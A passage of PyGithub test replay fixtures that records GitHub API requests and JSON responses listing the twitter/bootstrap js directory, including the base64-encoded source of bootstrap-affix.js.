repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-carousel.js"}},{"sha":"7bbad8e43aba9a778fa54650237f7acb96e783c9","size":4735,"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-collapse.js"}},{"sha":"ec86cf0d709577fc840a64123993dc69c6ae292a","size":4198,"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-dropdown.js"}},{"sha":"b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","size":6638,"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-modal.js"}},{"sha":"0e7774bf668c75a7b93989a1146fbb8822d5489d","size":3115,"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-popover.js"}},{"sha":"dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","size":4655,"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-scrollspy.js"}},{"sha":"bd77eb5c358074801f20de0f46b1e2e9d1b1247b","size":3496,"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tab.js"}},{"sha":"981319077e9bdb4ea0dcbee50dfe5715a54b4c51","size":9694,"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-tooltip.js"}},{"sha":"64f275778094043dc871f94ceacadbe7f74f9734","size":1756,"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-transition.js"}},{"sha":"960f2af85a7ced44c4e3190255ee3092c3665bbb","size":8320,"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-typeahead.js"}},{"sha":"f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","size":0,"name":"tests","path":"js/tests","type":"dir","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html_url":"https://github.com/twitter/bootstrap/tree/master/js/tests","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html":"https://github.com/twitter/bootstrap/tree/master/js/tests"}}] https GET api.github.com None /repos/twitter/bootstrap/contents/js/bootstrap-affix.js {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5532'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 06:13:13 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"23daa8e0f42915d5ce84a6a117122afa"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:59:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"},"content":"LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PQogKiBib290c3RyYXAtYWZmaXguanMgdjIuMy4w\nCiAqIGh0dHA6Ly90d2l0dGVyLmdpdGh1Yi5jb20vYm9vdHN0cmFwL2phdmFz\nY3JpcHQuaHRtbCNhZmZpeAogKiA9PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAqIENvcHlyaWdo\ndCAyMDEyIFR3aXR0ZXIsIEluYy4KICoKICogTGljZW5zZWQgdW5kZXIgdGhl\nIEFwYWNoZSBMaWNlbnNlLCBWZXJzaW9uIDIuMCAodGhlICJMaWNlbnNlIik7\nCiAqIHlvdSBtYXkgbm90IHVzZSB0aGlzIGZpbGUgZXhjZXB0IGluIGNvbXBs\naWFuY2Ugd2l0aCB0aGUgTGljZW5zZS4KICogWW91IG1heSBvYnRhaW4gYSBj\nb3B5IG9mIHRoZSBMaWNlbnNlIGF0CiAqCiAqIGh0dHA6Ly93d3cuYXBhY2hl\nLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIuMAogKgogKiBVbmxlc3MgcmVxdWly\nZWQgYnkgYXBwbGljYWJsZSBsYXcgb3IgYWdyZWVkIHRvIGluIHdyaXRpbmcs\nIHNvZnR3YXJlCiAqIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBMaWNlbnNlIGlz\nIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsCiAqIFdJVEhPVVQg\nV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIg\nZXhwcmVzcyBvciBpbXBsaWVkLgogKiBTZWUgdGhlIExpY2Vuc2UgZm9yIHRo\nZSBzcGVjaWZpYyBsYW5ndWFnZSBnb3Zlcm5pbmcgcGVybWlzc2lvbnMgYW5k\nCiAqIGxpbWl0YXRpb25zIHVuZGVyIHRoZSBMaWNlbnNlLgogKiA9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09ICovCgoKIWZ1bmN0aW9uICgkKSB7CgogICJ1c2Ugc3RyaWN0Ijsg\nLy8ganNoaW50IDtfOwoKCiAvKiBBRkZJWCBDTEFTUyBERUZJTklUSU9OCiAg\nKiA9PT09PT09PT09PT09PT09PT09PT09ICovCgogIHZhciBBZmZpeCA9IGZ1\nbmN0aW9uIChlbGVtZW50LCBvcHRpb25zKSB7CiAgICB0aGlzLm9wdGlvbnMg\nPSAkLmV4dGVuZCh7fSwgJC5mbi5hZmZpeC5kZWZhdWx0cywgb3B0aW9ucykK\nICAgIHRoaXMuJHdpbmRvdyA9ICQod2luZG93KQogICAgICAub24oJ3Njcm9s\nbC5hZmZpeC5kYXRhLWFwaScsICQucHJveHkodGhpcy5jaGVja1Bvc2l0aW9u\nLCB0aGlzKSkKICAgICAgLm9uKCdjbGljay5hZmZpeC5kYXRhLWFwaScsICAk\nLnByb3h5KGZ1bmN0aW9uICgpIHsgc2V0VGltZW91dCgkLnByb3h5KHRoaXMu\nY2hlY2tQb3NpdGlvbiwgdGhpcyksIDEpIH0sIHRoaXMpKQogICAgdGhpcy4k\nZWxlbWVudCA9ICQoZWxlbWVudCkKICAgIHRoaXMuY2hlY2tQb3NpdGlvbigp\nCiAgfQoKICBBZmZpeC5wcm90b3R5cGUuY2hlY2tQb3NpdGlvbiA9IGZ1bmN0\naW9uICgpIHsKICAgIGlmICghdGhpcy4kZWxlbWVudC5pcygnOnZpc2libGUn\nKSkgcmV0dXJuCgogICAgdmFyIHNjcm9sbEhlaWdodCA9ICQoZG9jdW1lbnQp\nLmhlaWdodCgpCiAgICAgICwgc2Nyb2xsVG9wID0gdGhpcy4kd2luZG93LnNj\ncm9sbFRvcCgpCiAgICAgICwgcG9zaXRpb24gPSB0aGlzLiRlbGVtZW50Lm9m\nZnNldCgpCiAgICAgICwgb2Zmc2V0ID0gdGhpcy5vcHRpb25zLm9mZnNldAog\nICAgICAsIG9mZnNldEJvdHRvbSA9IG9mZnNldC5ib3R0b20KICAgICAgLCBv\nZmZzZXRUb3AgPSBvZmZzZXQudG9wCiAgICAgICwgcmVzZXQgPSAnYWZmaXgg\nYWZmaXgtdG9wIGFmZml4LWJvdHRvbScKICAgICAgLCBhZmZpeAoKICAgIGlm\nICh0eXBlb2Ygb2Zmc2V0ICE9ICdvYmplY3QnKSBvZmZzZXRCb3R0b20gPSBv\nZmZzZXRUb3AgPSBvZmZzZXQKICAgIGlmICh0eXBlb2Ygb2Zmc2V0VG9wID09\nICdmdW5jdGlvbicpIG9mZnNldFRvcCA9IG9mZnNldC50b3AoKQogICAgaWYg\nKHR5cGVvZiBvZmZzZXRCb3R0b20gPT0gJ2Z1bmN0aW9uJykgb2Zmc2V0Qm90\ndG9tID0gb2Zmc2V0LmJvdHRvbSgpCgogICAgYWZmaXggPSB0aGlzLnVucGlu\nICE9IG51bGwgJiYgKHNjcm9sbFRvcCArIHRoaXMudW5waW4gPD0gcG9zaXRp\nb24udG9wKSA/CiAgICAgIGZhbHNlICAgIDogb2Zmc2V0Qm90dG9tICE9IG51\nbGwgJiYgKHBvc2l0aW9uLnRvcCArIHRoaXMuJGVsZW1lbnQuaGVpZ2h0KCkg\nPj0gc2Nyb2xsSGVpZ2h0IC0gb2Zmc2V0Qm90dG9tKSA/CiAgICAgICdib3R0\nb20nIDogb2Zmc2V0VG9wICE9IG51bGwgJiYgc2Nyb2xsVG9wIDw9IG9mZnNl\ndFRvcCA/CiAgICAgICd0b3AnICAgIDogZmFsc2UKCiAgICBpZiAodGhpcy5h\nZmZpeGVkID09PSBhZmZpeCkgcmV0dXJuCgogICAgdGhpcy5hZmZpeGVkID0g\nYWZmaXgKICAgIHRoaXMudW5waW4gPSBhZmZpeCA9PSAnYm90dG9tJyA/IHBv\nc2l0aW9uLnRvcCAtIHNjcm9sbFRvcCA6IG51bGwKCiAgICB0aGlzLiRlbGVt\nZW50LnJlbW92ZUNsYXNzKHJlc2V0KS5hZGRDbGFzcygnYWZmaXgnICsgKGFm\nZml4ID8gJy0nICsgYWZmaXggOiAnJykpCiAgfQoKCiAvKiBBRkZJWCBQTFVH\nSU4gREVGSU5JVElPTgogICogPT09PT09PT09PT09PT09PT09PT09PT0gKi8K\nCiAgdmFyIG9sZCA9ICQuZm4uYWZmaXgKCiAgJC5mbi5hZmZpeCA9IGZ1bmN0\naW9uIChvcHRpb24pIHsKICAgIHJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24g\nKCkgewogICAgICB2YXIgJHRoaXMgPSAkKHRoaXMpCiAgICAgICAgLCBkYXRh\nID0gJHRoaXMuZGF0YSgnYWZmaXgnKQogICAgICAgICwgb3B0aW9ucyA9IHR5\ncGVvZiBvcHRpb24gPT0gJ29iamVjdCcgJiYgb3B0aW9uCiAgICAgIGlmICgh\nZGF0YSkgJHRoaXMuZGF0YSgnYWZmaXgnLCAoZGF0YSA9IG5ldyBBZmZpeCh0\naGlzLCBvcHRpb25zKSkpCiAgICAgIGlmICh0eXBlb2Ygb3B0aW9uID09ICdz\ndHJpbmcnKSBkYXRhW29wdGlvbl0oKQogICAgfSkKICB9CgogICQuZm4uYWZm\naXguQ29uc3RydWN0b3IgPSBBZmZpeAoKICAkLmZuLmFmZml4LmRlZmF1bHRz\nID0gewogICAgb2Zmc2V0OiAwCiAgfQoKCiAvKiBBRkZJWCBOTyBDT05GTElD\nVAogICogPT09PT09PT09PT09PT09PT0gKi8KCiAgJC5mbi5hZmZpeC5ub0Nv\nbmZsaWN0ID0gZnVuY3Rpb24gKCkgewogICAgJC5mbi5hZmZpeCA9IG9sZAog\nICAgcmV0dXJuIHRoaXMKICB9CgoKIC8qIEFGRklYIERBVEEtQVBJCiAgKiA9\nPT09PT09PT09PT09PSAqLwoKICAkKHdpbmRvdykub24oJ2xvYWQnLCBmdW5j\ndGlvbiAoKSB7CiAgICAkKCdbZGF0YS1zcHk9ImFmZml4Il0nKS5lYWNoKGZ1\nbmN0aW9uICgpIHsKICAgICAgdmFyICRzcHkgPSAkKHRoaXMpCiAgICAgICAg\nLCBkYXRhID0gJHNweS5kYXRhKCkKCiAgICAgIGRhdGEub2Zmc2V0ID0gZGF0\nYS5vZmZzZXQgfHwge30KCiAgICAgIGRhdGEub2Zmc2V0Qm90dG9tICYmIChk\nYXRhLm9mZnNldC5ib3R0b20gPSBkYXRhLm9mZnNldEJvdHRvbSkKICAgICAg\nZGF0YS5vZmZzZXRUb3AgJiYgKGRhdGEub2Zmc2V0LnRvcCA9IGRhdGEub2Zm\nc2V0VG9wKQoKICAgICAgJHNweS5hZmZpeChkYXRhKQogICAgfSkKICB9KQoK\nCn0od2luZG93LmpRdWVyeSk7\n","encoding":"base64"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue140.testGetDirContentsWithRef.txt0000644000175100001660000003237314756101563025330 0ustar00runnerdockerhttps GET api.github.com None /repos/twitter/bootstrap/contents/js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '12794'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 20 Feb 2013 17:41:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1d3ee11cf26854a582d3ae4760013142"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 20 Feb 2013 17:43:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"name":".jshintrc","path":"js/.jshintrc","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/.jshintrc","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/.jshintrc"}},{"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-affix.js"}},{"sha":"b5627984e4ca3b49ae63943aa9f0204c266c65af","size":2524,"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-alert.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-alert.js"}},{"sha":"045927b6ba732ada14dbf5c0ec296623b37a5121","size":2841,"name":"bootstrap-button.js","path":"js/bootstrap-button.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-button.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-button.js"}},{"sha":"604552012b170bc20579c13d724883c253dd152a","size":6053,"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-carousel.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-carousel.js"}},{"sha":"7bbad8e43aba9a778fa54650237f7acb96e783c9","size":4735,"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-collapse.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-collapse.js"}},{"sha":"ec86cf0d709577fc840a64123993dc69c6ae292a","size":4198,"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-dropdown.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-dropdown.js"}},{"sha":"b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","size":6638,"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-modal.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-modal.js"}},{"sha":"0e7774bf668c75a7b93989a1146fbb8822d5489d","size":3115,"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-popover.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-popover.js"}},{"sha":"dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","size":4655,"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-scrollspy.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-scrollspy.js"}},{"sha":"bd77eb5c358074801f20de0f46b1e2e9d1b1247b","size":3496,"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tab.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tab.js"}},{"sha":"981319077e9bdb4ea0dcbee50dfe5715a54b4c51","size":9694,"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tooltip.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=8c7f9c66a7